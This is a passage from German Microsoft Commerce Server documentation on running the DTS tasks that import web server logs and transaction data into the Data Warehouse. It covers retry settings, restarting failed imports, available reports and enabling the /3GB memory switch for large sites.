    Protokolle nach Datum-/Uhrzeitbereich | Wählen Sie diese Option aus, um festzulegen, dass nur Protokolldateien importiert werden sollen, die zwischen Anfangsdatum/-zeit und Beendigungsdatum/-zeit erstellt wurden.
    Anfangsdatum/-zeit Geben Sie das Datum und die Uhrzeit ein, mit dem bzw. der der Bereich beginnt, für den Protokolldateien importiert werden sollen. Diese Option ist nur verfügbar, wenn Sie die Option Protokolle nach Datum-/Uhrzeitbereich ausgewählt haben.

    Der Wert für diese Option wird in der Tabelle Sitezusammenfassung des Data Warehouse gespeichert.
    Beendigungsdatum/-zeit Geben Sie das Datum und die Uhrzeit ein, mit dem bzw. der der Bereich endet, für den Protokolldateien importiert werden sollen. Diese Option ist nur verfügbar, wenn Sie die Option Protokolle nach Datum-/Uhrzeitbereich ausgewählt haben.

    Der Wert für diese Option wird in der Tabelle Sitezusammenfassung des Data Warehouse gespeichert.
  6. Nehmen Sie im Abschnitt Eigenschaften für Wiederholungen die folgenden Einstellungen vor:
    Funktion | Aktion
    Anzahl der Wiederholungen Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.

    Hinweis

    • Um anzugeben, wie oft der Webprotokollimportvorgang neu gestartet wird, bevor mit dem nächsten Importvorgang fortgesetzt wird, klicken Sie auf Erweitert und dann auf die Registerkarte Erneut starten.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  7. Klicken Sie auf OK.
  8. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse der Hinweis angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

    Hinweis

    • Sollte der Importprozess für Webprotokolldateien fehlschlagen, führen Sie den Datenlöschungstask aus, um die mit der betreffenden Webprotokolldatei verknüpften Daten zu löschen, und führen Sie dann den Berichtsvorbereitungstask aus, um die OLAP-Cubes zu aktualisieren.
  9. Klicken Sie auf OK und anschließend auf Fertig.

    Die Daten aus der Webprotokolldatei werden in das Data Warehouse importiert.

  10. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.

So importieren Sie Webprotokolldateien aus sämtlichen verknüpften Sites in Ihr Data Warehouse

  1. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  5. Nehmen Sie im Dialogfeld Webserverprotokolle importieren die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Data Warehouse-Ebene aus.
    Data Warehouse | Wählen Sie in der Dropdownliste den Namen des Data Warehouse, das mit den Sites verknüpft ist, für die Sie Webserverprotokolldaten importieren.
    Protokolldateipfad | Geben Sie den Pfad der zu importierenden Webprotokolldatei ein, oder klicken Sie auf Protokolldateien, um die zu importierenden Webprotokolldateien in der Liste Webserver-Protokolldateien auszuwählen.
    Alle Protokolle seit dem letzten Import | Wählen Sie diese Option aus, um festzulegen, dass alle seit dem letzten Import erstellten Protokolldateien importiert werden sollen.
    Protokolle nach Datum-/Uhrzeitbereich | Wählen Sie diese Option aus, um festzulegen, dass nur Protokolldateien importiert werden sollen, die zwischen Anfangsdatum/-zeit und Beendigungsdatum/-zeit erstellt wurden.
    Anfangsdatum/-zeit | Geben Sie das Datum und die Uhrzeit ein, mit dem bzw. der der Bereich beginnt, für den Protokolldateien importiert werden sollen. Diese Option ist nur verfügbar, wenn Sie die Option Protokolle nach Datum-/Uhrzeitbereich ausgewählt haben.
    Beendigungsdatum/-zeit | Geben Sie das Datum und die Uhrzeit ein, mit dem bzw. der der Bereich endet, für den Protokolldateien importiert werden sollen. Diese Option ist nur verfügbar, wenn Sie die Option Protokolle nach Datum-/Uhrzeitbereich ausgewählt haben.
  6. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.

    Hinweis

    • Um anzugeben, wie oft der Webprotokollimportvorgang neu gestartet wird, bevor mit dem nächsten Importvorgang fortgesetzt wird, klicken Sie auf Erweitert und dann auf die Registerkarte Erneut starten.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  7. Klicken Sie auf OK.

    Hinweis

    • Sie können zu einem Paket mehrere DTS-Tasks sowie Informationen zu Reihenfolge und Workflow hinzufügen und dann alle Tasks im Paket ausführen.
  8. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse der Hinweis angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

    Hinweis

    • Sollte der Importprozess für Webprotokolldateien fehlschlagen, führen Sie den Datenlöschungstask aus, um die mit der betreffenden Webprotokolldatei verknüpften Daten zu löschen, und führen Sie dann den Berichtsvorbereitungstask aus, um die OLAP-Cubes zu aktualisieren.
  9. Klicken Sie auf OK und anschließend auf Fertig.

    Die Daten aus den Webprotokolldateien der Site werden in das Data Warehouse importiert.

  10. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.

Siehe auch

Tipps zum Import

Tipps zur Ausführung des DTS-Webserverprotokollimport-Tasks

Workflow zum Ausführen von DTS-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Problembehandlung beim Data Warehouse-Importvorgang

Berichte auf Basis von Daten aus Webprotokolldateien

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Commerce Server-Leistungsindikatoren

Sichern des Data Warehouse

Sichern von Berichten


Tipps zur Ausführung des DTS-Webserverprotokollimport-Tasks

In diesem Thema finden Sie Tipps und wichtige Hinweise zur Ausführung des Webserverprotokollimport-Tasks.

  • Bei mehreren Anwendungen und Protokolldateien sollten Sie zur Konfiguration des DTS-Webprotokollimport-Tasks nicht die Benutzeroberfläche, sondern ein Skript verwenden. Eine entsprechende Anleitung finden Sie unter Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task.
  • Wenn Sie den DTS-Webserverprotokollimport-Task über ein Skript ausführen, geben Sie in der Datei Boot.ini von Windows 2000 auf dem Hostcomputer des Data Warehouse (SQL Server) und auf dem Hostcomputer des Analysis-Servers einen 3-Gigabyte-Schalter an. Entsprechende Anweisungen finden Sie unter Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site
  • Der Importprozess für Webprotokolldateien kann keine Protokolldateien importieren, solange IIS aktiv in diese schreibt. Importieren Sie Protokolldateien nicht direkt von der Website. Überprüfen Sie stattdessen, ob der Server noch auf die Datei zugreift, und wenn dies nicht der Fall ist, kopieren Sie die Datei in ein anderes Verzeichnis. Anschließend können Sie sie aus dem gewählten Verzeichnis importieren.
  • Wenn Sie Webprotokolldaten für mehrere Sites importieren und einen Vorgang auf Data Warehouse-Ebene ausführen, um alle mit dem Data Warehouse verknüpften Sites zu importieren, werden durch den Webserverprotokollimport-Task in Abhängigkeit von den festgelegten Kriterien für Alle Protokolle seit dem letzten Import bzw. Protokolle nach Datum-/Uhrzeitbereich sämtliche Protokolldateien im Protokollpfad importiert. Der Webprotokollimport-Task erkennt nicht, ob Sie einige Protokolldateien, die ggf. nicht importiert werden sollen, auf Ebene der Site aus der Auswahl ausgeschlossen haben.
  • Falls Sie die Kampagnenfunktionen des Zielsystems verwenden, importiert der Webserverprotokollimport-Task die URIs der Kampagnenereignisse. Quelle dieser Daten sind die Webprotokolldateien.
  • Informationen zum Import von Protokolldateien von anderen Servern finden Sie im Knowledge Base-Artikel Q293887 "HOWTO: Analyze Non-Commerce Web Server Log Files" unter http://go.microsoft.com/fwlink/?LinkId=5166.
  • Commerce Server unterstützt nur Dateien im erweiterten W3C-Protokollformat. Falls Sie Apache- oder Lotus-Protokolle importieren möchten, müssen diese zunächst in das genannte Format konvertiert werden.
  • Verwenden Sie die folgenden Leistungsindikatoren für diesen Task:
    • UImport: Freie Zugriffspuffer. Die Anzahl der derzeit verfügbaren freien Zugriffspuffer.
    • UImport: Verwendete Zugriffspuffer. Die Anzahl der derzeit ausgelasteten Zugriffspuffer.
    • UImport: Zugriffe/Sekunde. Gibt an, wie viele Zugriffe pro Sekunde der Importtask verarbeitet.
    • UImport: Aktueller Besuch. Die Gesamtanzahl der aktiven Besuche, die während der Verarbeitung der Protokolldateien aufgezeichnet werden.
    • UImport: E-Commerce-Ereignisse. Die Gesamtanzahl der Commerce Server-Ereignisse für den Importtask.
    • UImport: Decodierte Cookies. Die Gesamtanzahl der von Commerce Server decodierten Cookies, die bei der Ausführung dieses Importtasks aufgetreten sind.
    • UImport: Abfragezeichenfolgen. Die Gesamtanzahl der Abfragezeichenfolgen, die bei der Ausführung dieses Importtasks verarbeitet wurden.

Siehe auch

Workflow zum Ausführen von DTS-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Problembehandlung beim Data Warehouse-Importvorgang

Sichern des Data Warehouse

Sichern von Berichten


Berichte auf Basis von Daten aus Webprotokolldateien

Sofern Sie nur Daten aus Webprotokolldateien und keine anderen Daten importieren, können Sie die folgenden Berichte ausführen:

  • Zusammenfassung der Bandbreite (dynamisch)
  • Bandbreitentrends (dynamisch)
  • Verzeichnisse (dynamisch)
  • Verschiedene Benutzer und Besuche pro Woche (dynamisch)
  • Verschiedene Benutzer pro Tag (dynamisch)
  • Eingangsseiten (dynamisch)
  • Eingangspfadanalyse (statisch)
  • Ausgangsseiten (dynamisch)
  • Allgemeine Aktivitätsstatistiken (dynamisch)
  • Zugriffe nach HTTP-Status (dynamisch)
  • Zugriffe nach Win32-Status (dynamisch)
  • Abfragezeichenfolgen (mehrere Werte) (dynamisch)
  • Abfragezeichenfolgen (einzelner Wert) (dynamisch)
  • Topverweiser (Domänen) nach Anforderungen (statisch)
  • Hauptsächlich angeforderte Seiten (statisch)
  • Verwendungstrends (dynamisch)
  • Zusammenfassung der Verwendung pro Wochentag (dynamisch)
  • Zusammenfassung der Verwendung nach Tageszeit (dynamisch)
  • Zusammenfassung der Verwendung pro Kalenderwoche (dynamisch)
  • Verwendungstrends (dynamisch)
  • Benutzerbesuchstrends (dynamisch)
  • Besuche nach Browser, Version und Betriebssystem (dynamisch)

Siehe auch

Ausführen des DTS-Webserverprotokollimport-Tasks

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Problembehandlung beim Data Warehouse-Importvorgang

Sichern des Data Warehouse

Sichern von Berichten


Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Bei einem nicht erfolgreich ausgeführten DTS-Webprotokollimport-Task können Sie die Ursache des Fehlers analysieren und festlegen, ob der Task neu gestartet, ignoriert oder gelöscht werden soll.

Neustarten des Tasks

  1. Öffnen Sie in Enterprise Manager das DTS-Paket und klicken Sie mit der rechten Maustaste auf Import von Webserverprotokollen. Klicken Sie dann auf Eigenschaften.
  2. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf die Registerkarte Neustartdetails. Auf dieser Registerkarte sind nur fehlgeschlagene Importvorgänge aufgeführt.
  3. Führen Sie auf der Registerkarte Neustartdetails einen der folgenden Schritte aus:
    • Klicken Sie auf Fortsetzen, damit der unvollständige Protokollimporttask fortgesetzt werden kann. Bis zum Abschluss dieses Vorgangs kann kein anderer Protokollimport gestartet werden.
Hinweis
  • Wenn zwischen dem fehlgeschlagenen Protokollimport und dem Klicken auf Fortsetzen dem Protokolldateiordner neue Protokolldateien hinzugefügt werden, werden diese bei der Fortsetzung des fehlgeschlagenen Imports importiert.
  • Um den fehlgeschlagenen Import fortzusetzen, ohne zusätzliche Protokolldateien zu importieren, klicken Sie zunächst auf Fortsetzen und dann auf der Registerkarte Speicherorte der Protokolldateien auf Protokolldateien. Löschen Sie anschließend die neuen Protokolldateien.
  • Klicken Sie auf Ignorieren, um den fehlgeschlagenen Protokollimporttask zu löschen und mit einem neuen Protokollimportvorgang fortzufahren. Bei Wahl dieser Option kann der fehlgeschlagene Protokollimporttask nicht erneut gestartet werden.

    Alle vorherigen Statusmeldungen über unvollständige Protokollimporte werden gelöscht.

  • Warten Sie einen Moment ab. Wenn Sie weder Ignorieren noch Fortsetzen wählen, wird das fehlgeschlagene Importprotokoll fortgesetzt, bis die Höchstanzahl von Wiederholungen erreicht ist. Nach der Wiederholung des Tasks wird die Aktion nach Erreichen der max. Anzahl der Wiederholungen implementiert: Der Importvorgang wird nach der letzten Wiederholung beendet, oder der fehlerhafte Protokollimport wird gelöscht, und der Vorgang wird fortgesetzt. (Sie können diese Aktion im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Erneut starten konfigurieren.)
  1. Wenn Sie die Option Ignorieren wählen, können Sie im Dialogfeld Webserverprotokolle importieren auf Protokolldateien klicken, um die fehlgeschlagenen sowie die übrigen Protokolldateien im Ordner anzuzeigen.
  2. Wählen Sie die fehlgeschlagenen Protokolldateien aus, die noch importiert werden sollen, oder löschen Sie sie andernfalls.
  3. Klicken Sie auf OK.
  4. Führen Sie den Webserverprotokollimport-Task erneut aus.

Hinweis

  • Wenn Sie in Schritt 4 zunächst auf Protokolldateien klicken, werden die fehlgeschlagenen Protokolldateien im Dialogfeld nicht angezeigt. Wenn Sie jedoch auf Ignorieren klicken, werden die fehlgeschlagenen Protokolldateien zum Importauftrag hinzugefügt.

Ignorieren oder Löschen des Tasks

Wenn Sie im Dialogfeld Wiederholungseigenschaften protokollieren auf Ignorieren klicken bzw. die Option Löschen und Fortfahren aktivieren, nachdem durch den Task die angegebene maximale Anzahl der Wiederholungsversuche gestartet wurde, können Sie den vorherigen Protokollimportauftrag nicht mehr neu starten. Dabei tritt Folgendes auf:

  • Der vorherige Protokollimport wird ignoriert, und Commerce Server setzt seine Tätigkeit mit einem neuen Protokollimportauftrag fort.
  • Alle vorherigen Statusmeldungen über unvollständige Protokollimporte werden gelöscht.
  • Die Anzahl der Anforderungen, Besuche, Zugriffe und andere Daten werden so wiederhergestellt, als ob kein Fehler beim Import aufgetreten wäre.
  • Daten zu offenen Benutzerbesuchen werden u. U. nicht wiederhergestellt und sind damit verloren.

    Beispiel: Die Anzahl offener Besuche ist 10. Sie führen den Webprotokollimport-Task aus, dabei tritt jedoch ein Fehler auf, sodass Sie den Import löschen. Durch Commerce Server werden die alten Daten über Benutzer, Besuche, Anforderungen und Zugriffe auf den Zustand vor Ausführung des Webprotokollimport-Tasks wiederhergestellt. Offene Besuche sind davon jedoch ausgeschlossen. Sowohl alte als auch neue Daten über offene Besuche werden bei dieser Wiederherstellung eventuell gelöscht.

    Bei der nächsten Ausführung des Webprotokollimport-Tasks ist die Anzahl der Besuche u. U. nicht korrekt, da die Daten über offene Benutzerbesuche gelöscht wurden.

Siehe auch

Festlegen der Eigenschaften für den Neustart des Webprotokollimports

Workflow zum Ausführen von DTS-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Problembehandlung beim Data Warehouse-Importvorgang


Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Bei größeren Sites kann im Ereignisprotokoll des Data Warehouse unter Umständen ein Fehler wegen unzureichendem Speicher ausgegeben werden. In den meisten Fällen wird dies dadurch hervorgerufen, dass der Prozess über nicht genügend Arbeitsspeicher verfügt (Sie können dies mit dem Windows-Systemmonitor überprüfen).

32-Bit-Standardadressen können einen Arbeitsspeicher von maximal 4 GB zuordnen. Der standardmäßige Adressenspeicher von 32-Bit-Prozessen unter Microsoft Windows 2000 ist daher auf 4 GB begrenzt. Als Standard sind jeweils zwei GB für das Betriebssystem und für die Anwendung reserviert. Wenn Sie in der Datei Boot.ini von Windows NT Enterprise Edition oder Microsoft Windows 2000 Advanced Server einen 3-GB-Schalter angeben, reserviert das Betriebssystem nur 1 GB Adressenspeicher. Die Anwendung kann in diesem Fall auf bis zu 3 GB zugreifen.

Um diese Fehlermeldung zu vermeiden, aktivieren Sie vor dem Import von Webprotokolldateien den 3-GB-Schalter auf dem Data Warehouse-Computer.

Zur Aktivierung des 3-GB-Schalters sind zwei Schritte erforderlich:

  1. Bearbeiten Sie die Datei Boot.ini. Weitere Informationen zum /3GB-Schalter finden Sie in der Hilfe zu Windows 2000 Advanced Server.
  2. Bearbeiten Sie die ausführbare Datei, die die Protokollimport-DLL ausführt. Je nachdem, auf welche Weise Sie die Daten in das Data Warehouse importieren, müssen Sie die entsprechende ausführbare Datei anpassen.

Der Protokollimportprozess wird durch verschiedene ausführbare Dateien ausgeführt, je nachdem, wie Sie den Protokollimportvorgang starten.

So bearbeiten Sie die Programmdatei zur Ausführung der Webprotokollimport-DLL, wenn Sie Daten durch direkte Ausführung der DTS-Pakete über die SQL Enterprise Manager-Benutzeroberfläche in das Data Warehouse importieren

  1. Geben Sie an der Systemeingabeaufforderung die folgende Zeichenfolge ein: ImageCfg -l mmc.exe. Drücken Sie dann die EINGABETASTE.
  2. Um sicherzustellen, dass der 3-GB-Schalter aktiviert ist, geben Sie an der Eingabeaufforderung ImageCfg mmc.exe ein, und drücken Sie dann die EINGABETASTE.

Die aktuellen Einstellungen werden jetzt angezeigt. Falls der 3-GB-Schalter nicht gesetzt ist, können Sie ihn aktivieren oder die Programmdatei umbenennen und den Vorgang wiederholen.

So bearbeiten Sie die Programmdatei zur Ausführung der Webprotokollimport-DLL, wenn Sie Daten mit einem DTS-Paket, das zur Ausführung mit SQL Enterprise Manager Scheduler vorgesehen ist, in das Data Warehouse importieren

  1. Geben Sie an der Systemeingabeaufforderung die folgende Zeichenfolge ein: ImageCfg -l dtsrun.exe. Drücken Sie dann die EINGABETASTE.
  2. Um sicherzustellen, dass der 3-GB-Schalter aktiviert ist, geben Sie an der Eingabeaufforderung ImageCfg dtsrun.exe ein, und drücken Sie dann die EINGABETASTE.

Die aktuellen Einstellungen werden jetzt angezeigt. Falls der 3-GB-Schalter nicht gesetzt ist, können Sie ihn aktivieren oder die Programmdatei umbenennen und den Vorgang wiederholen.

So bearbeiten Sie die Programmdatei zur Ausführung der Webprotokollimport-DLL, wenn Sie Daten mit Skripts und unter Verwendung des Windows Script Host für die Protokollimporte in das Data Warehouse importieren

  1. Geben Sie an der Systemeingabeaufforderung die folgende Zeichenfolge ein: ImageCfg -l cscript.exe. Drücken Sie dann die EINGABETASTE.
  2. Um sicherzustellen, dass der 3-GB-Schalter aktiviert ist, geben Sie an der Eingabeaufforderung ImageCfg cscript.exe ein, und drücken Sie dann die EINGABETASTE.

Die aktuellen Einstellungen werden jetzt angezeigt. Falls der 3-GB-Schalter nicht gesetzt ist, können Sie ihn aktivieren oder die Programmdatei umbenennen und den Vorgang wiederholen.

Siehe auch

Workflow zum Ausführen von DTS-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Berichte auf Basis von Daten aus Webprotokolldateien

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Commerce Server-Leistungsindikatoren

Problembehandlung beim Data Warehouse-Importvorgang


Ausführen des DTS-Transaktionsdatenimport-Tasks

Mit dem DTS-Transaktionsdatenimport-Task importieren Sie Transaktionsdaten in das Data Warehouse. Transaktionsdaten werden in der Transaktionsdatenbank von Commerce Server gespeichert. Zu diesen Daten gehören Bestellungen und Anforderungsnummern, mit denen in Analyseberichten bestimmt werden kann, wie gut sich bestimmte Produkte verkaufen, welche Mengen angefordert werden oder wie viel Ihre Kunden kaufen.

Hinweis

  • Wenn Sie zum ersten Mal Transaktionsdaten in das Data Warehouse importieren, müssen Sie die Option Vollständiges Laden verwenden und einen vollständigen Import durchführen. Verwenden Sie nach dem Import von Transaktionsdaten die Option Inkrementelles Laden, um nur neue Daten, d. h. solche, die seit dem letzten Import von Transaktionsdaten erstellt wurden, zu importieren.
  • Bei der Ausführung des DTS-Transaktionsdatenimport-Tasks für ein Data Warehouse, das Daten für mehrere Websites enthält, müssen Klassen, die um mehr als eine Website erweitert sind, eindeutig benannte Elemente besitzen, wenn ihre Datentypen nicht identisch sind. Wenn einer Klasse in verschiedenen Websites ein neues Element hinzugefügt wird und die Datentypen der neuen Elemente nicht übereinstimmen, kann ein Fehler auftreten, oder die Daten werden bei Ausführung des DTS-Transaktionsdatenimport-Tasks nicht richtig konvertiert.

So importieren Sie Transaktionsdaten für eine Site in Ihr Data Warehouse

So importieren Sie Transaktionsdaten für alle verknüpften Sites in Ihr Data Warehouse

So importieren Sie Transaktionsdaten für eine Site in Ihr Data Warehouse

  1. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Import von Transaktionsdaten (Commerce Server).
  5. Nehmen Sie auf der Registerkarte Allgemein im Dialogfeld Transaktionsimporteigenschaften folgende Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene aus.
    Sitename | Wählen Sie in der Dropdownliste die Site aus, die die zu importierenden Daten enthält.
    Abfrageintervall (Min.) Geben Sie das Importintervall in Minuten ein. Bei einem Wert von null (0) erfolgt eine einzelne Abfrage der SQL Server-Quelltabellen, was zu einer Sperrung der Tabellen führen kann. Bei Werten größer als null (0) importiert der Task die Transaktionen inkrementell in Gruppen, wie durch das Abfrageintervall festgelegt. Wenn das Abfrageintervall beispielsweise 25 Minuten (Standardwert) beträgt und die erste Transaktion um 1:30 Uhr erfasst wurde, importiert der Transaktionsdatenimport-Task alle zwischen 1:30 und 1:55 Uhr erfassten Transaktionen. Anschließend werden die Transaktionen zwischen 1:55 und 2:20 Uhr importiert. Nach diesem Muster wird bis zur aktuellen Uhrzeit fortgefahren, zu der der Task endet.

    Hinweis

    • Wenn sich die Transaktionsdatenbank in einer anderen Zeitzone befindet als das Data Warehouse, endet der Import zur aktuellen Uhrzeit des Imports, umgerechnet in die Zeitzone der Transaktionsdatenbank. Wenn sich die Transaktionsdatenbank beispielsweise in Deutschland und das Data Warehouse in England befindet und die aktuelle Uhrzeit in England 8:00 Uhr ist, endet der Import, sobald das Abfrageintervall in Deutschland 8:00 Uhr erreicht.
    Inkrementelles Laden | Wählen Sie diese Option aus, um nur die seit dem vorangegangenen Import neu erstellten Transaktionsdaten zu importieren.
    Vollständiges Laden | Wählen Sie diese Option aus, um alle Transaktionsdaten zu importieren.
  6. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft bei Verbindungsfehlern versucht werden soll, die Verbindung mit dem Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie lange der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  7. Klicken Sie auf OK.

    Hinweis

    • Sie können zu einem Paket mehrere DTS-Tasks sowie Informationen zu Reihenfolge und Workflow hinzufügen und dann alle Tasks im Paket ausführen.
  8. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  9. Klicken Sie auf OK und anschließend auf Fertig.

    Die Transaktionsdaten werden in das Data Warehouse importiert.

  10. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.

So importieren Sie Transaktionsdaten für alle verknüpften Sites in Ihr Data Warehouse

  1. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Import von Transaktionsdaten (Commerce Server).
  5. Nehmen Sie auf der Registerkarte Allgemein im Dialogfeld Transaktionsimporteigenschaften folgende Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Data Warehouse-Ebene aus.
    Data Warehouse-Name | Wählen Sie in der Dropdownliste das Data Warehouse, das mit den Sites verknüpft ist, für die Sie Transaktionsdaten importieren möchten.
    Inkrementelles Laden | Wählen Sie diese Option aus, um nur die seit dem vorangegangenen Import neu erstellten Transaktionsdaten zu importieren.
    Vollständiges Laden | Wählen Sie diese Option aus, um alle Transaktionsdaten zu importieren.
  6. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft bei Verbindungsfehlern versucht werden soll, die Verbindung mit dem Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie lange der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  7. Klicken Sie auf OK.

    Hinweis

    • Sie können zu einem Paket mehrere DTS-Tasks sowie Informationen zu Reihenfolge und Workflow hinzufügen und dann alle Tasks im Paket ausführen.
  8. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  9. Klicken Sie auf OK und anschließend auf Fertig.

    Die Transaktionsdaten werden in das Data Warehouse importiert.

  10. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.

Siehe auch

Ausführen des DTS-Transaktionsdatenimport-Tasks

ETL-Prozess für den DTS-Transaktionsdatenimport-Task

Erstellen eines Skripts für den DTS-Transaktionsdatenimport-Task

